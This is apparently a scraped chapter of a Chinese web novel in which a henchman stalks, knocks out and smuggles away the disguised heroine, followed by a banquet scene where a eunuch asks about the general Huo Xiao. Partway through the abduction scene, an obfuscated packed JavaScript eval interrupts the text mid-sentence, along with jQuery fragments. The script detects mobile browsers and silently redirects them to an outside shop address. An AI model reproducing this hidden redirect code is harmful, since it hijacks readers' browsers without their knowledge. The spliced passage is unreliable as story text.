25. 第二十五回

作品:《惊!主角反派都为我失控!

    这口气!不知道的还以为是哪位文坛泰斗的点评呢!


    怀素是何等人物?


    那是被后世尊为“颠张醉素”“草圣”的书法奇才!寻常人得他片纸只字,都要奉若圭臬,谁敢这般大言不惭地点批?还说人家“故作奇崛”?


    难怪适才没瞅出这厮师从何人,原来是嫌大家“作态”,索性独辟蹊径,自创一套笔法。


    郁芍简直都想鼓掌了。


    再一细瞧,这几行笔迹虽已初现峥嵘骨架,然较方才手札所见之字犹显几分稚拙,墨色也稍浮,当是多年前所书。


    好家伙。


    这阎王二十来岁时,就敢对着名家指手画脚了,这股天王老子都不怵的横劲儿,倒真是从小看到老了。


    脑瓜子里冷不丁冒出一幅光景:尚带少年清矍的霍枭端坐书斋,唇线微抿,对着怀素龙飞凤舞的字,板着脸写下“内敛不足”的考语——不知怎的,那画面竟让她颇有几分一本正经的可乐。


    *


    却说郑蝎子正蜷在粮草垛子后头,一双倒三角眼死死钉在百步开外的帐门。


    天色渐次由泼墨黑转为淡青,夜露寒气直往毛孔里钻,他缩缩脖子,将两手揣进胳膊窝里暖着,愣是一晚上没挪窝。


    他已蛰伏了五个时辰了。


    可眼巴巴等了半宿,更鼓都敲破了四更天,伙房那头却是连个屁影儿都没见着!


    脖颈子都抻酸了,他心头骂开了花:“驴毬的!这小娘皮也不知钻进了哪个野汉子被窝,害爷爷喝一肚子的夜风!”


    正啐着,远山猝起狼群长嚎,营地里一阵骚动。


    旋即,郑蝎子见霍枭亲点了十余锐卒,如矢离弦,一头便扎入了沉沉夜幕。未及一个时辰,霍枭又率众而返,还扛回了七八头巨狼尸身。


    月色幽幽,郑蝎子一双眼珠像钩子似的,瞬间便在乌泱泱人群里捞出了那道细瘦身影!


    队伍末尾有道灰扑扑的细影儿,那小人儿穿着件晃悠悠的兵丁大褂,脸上不知蹭了啥,灰头土脸的,她缩着脖子耷着肩,巴不得谁也瞧不见。


    哎哟喂!


    这小蹄子竟把个胭脂粉儿洗得干干净净,还裹着汉子衣裳,充作大头兵!


    可郑蝎子何等炬眼,纵对方扮得再周全,落在他眼中,那一身细伶伶的骨头架子,行走间不自觉的步态,还有一低头从领口溜出来的细白颈子,软得好似蘸了春水的新柳条儿:晃悠悠、颤巍巍的。


    俗话说画龙画虎难画骨,装得了爷们装不了裆。


    见她腰是腰腿是腿的,又见颈后那一小块莹莹的白,郑蝎子忽地窜起一股邪火,“这身皮肉倒比妓院的粉头还嫩三分!难怪干爹抓心挠肝的...”


    现下只消等这小娘皮落了单,他便可得手!


    这营盘边儿上黑灯瞎火的,拖走个娘们还不是手到擒来?以他这身功夫,保准连个响动都听不见。


    眼瞅着肥肉就要到嘴,他正暗自得意,谁料半道却杀出个程咬金——霍枭那厮竟将那雌儿唤到主帐里去了!


    这变故打乱了他原本计划。


    硬闯中军帐?那几乎是找死,那帐子里外三层皆是带甲亲兵,苍蝇都甭想溜进去。


    郑蝎子狠狠啐了口唾沫,咒道,“这小娘皮倒是享福!”


    这一等,便等了一晚上。


    天边翻上鱼肚白,已是五更了,郑蝎子眼皮子开始打架,他猛咬一口舌尖,腥味激得登时醒了神,恰此时帐帘忽地掀开一道缝,他浑身筋肉一紧,抬眼看去,只见霍枭那厮独个儿出来了,竟连个亲卫都不带,便径直出营赴宴去了。


    嘿,有门儿!


    郑蝎子鼻头一耸,腰杆子倏地就绷直了。


    他见那阎王走后,一侍卫不断进进出出,偏那顶青布帐里半点动静也没有。郑蝎子蹲在草窠里,眼珠子都快瞪出血来,两个时辰过去了,却连那小娘皮的头发丝儿都没见着!


    终于。


    帐帘子掀开了一道缝。


    先探出来的,是颗毛蓬蓬的脑袋,面色还带着点贼兮兮的怯,紧接着,待看清四下无人,那小娘子这才把身子一滑,那身晃荡荡的靛青短打也跟着溜了出来。


    就是此刻了!


    郑蝎子往草窠里一缩,脚跟儿轻轻的,咬着那女子背影就缀上去了。


    *


    郁芍蛰出军帐,心下正盘算着看看秦四那憨子,昨夜为护她落得一身血口子,若是真损了筋骨,她这债可欠大发了。


    刚摸到两顶帐子之间,这夹道颇窄,前后瞧不见半个人影儿。忽地四下里歇着的宿鸟扑棱棱乱窜,她心口咯噔一跳,只觉后颈子阴风飕飕的,脚尖刚转,却见个黑黢黢的影子赫然砸在道上,正正挡在道当间!


    她打眼一看,那汉子巍峨得心惊,豆豉眼,蒜头鼻,腮帮上还有两道蜈蚣疤,弯弯扭扭的泛着青光,煞是瘆人!


    郑蝎子一双眼珠子死死焊在对面那小人儿的脸上,又黏又毒,阴瘆瘆笑道,“小浪蹄子,钻天入地的本事倒不小哇!叫爷爷一顿好找!”


    这小娘们虽穿着粗布衣裳,那张脸蛋子却活脱脱是玉碾的胚子,精致得教人牙根直发痒,真真是狐狸精托生的!


    他喉头咕嘟一响,心头那簇邪火蹭地又蹿高了三寸!


    只可惜了这块肥羊肉,油光水滑地吊在眼前,偏生只能闻着香,却半滴也沾不了唇:他这等做脏活的,撑死了也就能闻闻腥气儿。


    郁芍听他这口气,心里当即雪亮:这厮分明是识得她的,定是那老阉狗派来的獠牙!


    她压根不接他茬,扭身便跑,可腿还没撒开,就听背后脚步声蹚蹚追上,心道完了,“救命”两字还在舌尖打滚,后颈已遭了记刀劈!


    女子身子一软,软塌塌便倒下了,连点声响都没溅起。


    郑蝎子用麻核塞了她嘴,再拿布袋罩头,囫囵个儿塞进酱菜桶,悄没声便将人带走了。


    车过辕门时,守军查验,郑蝎子笑着道,“军爷行个方便,方才给伙房送了桶酱菜。”


    那门卒正要放行,忽闻桶中传来闷响,郑蝎子立即掐紧了布袋,赔笑道:“新腌的酸菜,胀坛哩!”


    腌菜车酸腐呛喉,那门卒又困得眼缝黏丝,胡乱摆手喝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907540|190629||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    令,“快走快走!”


    马车转瞬便没入了晨雾,半片人影都未惊动。


    *


    花开两朵,各表一枝,那边厢风云突变,这边厢却另有一番光景。


    这日午时,元帅大帐内灯火通明,沈乾石设下筵席,特备了全羊宴,为李莲芝接风。


    帐中密密匝匝置了十几张梨木八仙桌,桌上铺着猩红锦缎,角落鎏金狻猊香炉吐着龙涎香。众人案前层层叠叠码着金黄油亮的烤全羊、浓油赤酱的炖肘子;外带四碟八样的小菜:酱瓜儿、卤豆干、醋芹、酱闷茄条、糖渍梅子...


    红红绿绿摆了一桌。


    沈乾石端居主位,左首坐着绯袍太监李莲芝,右首十余位将领按品级分坐。


    中间独独有个席位虚悬着。


    沈乾石尚未发言,那太监也一言不发,众军汉们都不敢动箸,只把拿眼珠子剜那空座,压着嗓子窃窃私语。


    “那主儿是...?”


    “啧!你眼珠子白长了!自然是屯骑营那位...”


    “他果真不来了?”


    “他那脾性你还不知道?向来是见首不见尾的。”


    李莲芝捏着腕间念珠,耷拉着眼皮,似睡非睡。


    沈乾石眼风似有若无地一扫,正正掠过那阉人两只兰花指,但见十指尖尖,指甲上裹着层胭脂皮儿,凤仙花汁染得跟血点子一般,红艳艳地颤着。


    他喉头一紧,登时似被一团蛛网糊住了,方才咽下的美酒,此刻仿佛也沾了股秽气。


    他平生只好男风不假,偏生见不得这等不男不女、不阴不阳的浊物。


    “公公一路辛劳。”


    沈乾石城府极深,他笑着将酒盏斟满了,躬身朝李莲芝递了过去,“末将知公公不惯烈酒,此乃特寻来的十五年梨花白,虽不敢比宫中玉液,然其性温味甘,最是滋养...”


    “还请公公浅尝。”


    李莲芝漫不经心接过玉盏,嘴角似笑非笑,却并不就唇,反将酒盏随手搁在了案上。


    他拖长了尾音,扎得人耳蜗发痒,“杂家在京里便常听闻边关将帅事迹,今日一见,果然风采不凡,今儿既得空,还真想寻几位说说体己话,也好将诸位英姿上报天听。”


    沈乾石闻言暗自一凛:这阉竖素来只认黄白之物,何以骤然对他麾下之人生了兴致?


    他心下瞬息万变,面上却是春风不改,“公公法眼如炬,末将麾下儿郎众多,不知哪位竟得了您的青眼?”


    李莲芝将念珠往腕上一缠,忽地倾身道,“咱家倒是听得一桩趣事,说贵军中有位了不得的人物,这骁将仅凭数千铁骑,孤军深入漠北,杀入那靺鞨腹地,竟于万军之中将数百王孙贵胄生擒而还?”


    沈乾石眸光骤然一凝。


    这阉奴...


    为何偏偏便问起了霍枭?


    霍枭乃不世出的奇才,多年来被他深藏匣中,功绩尽数压,外界只当是寻常将领,京城知其能耐者寥寥无几。


    此獠究竟所图何为?


    正思忖间,忽闻帐外亲兵高唱:“霍将军到——”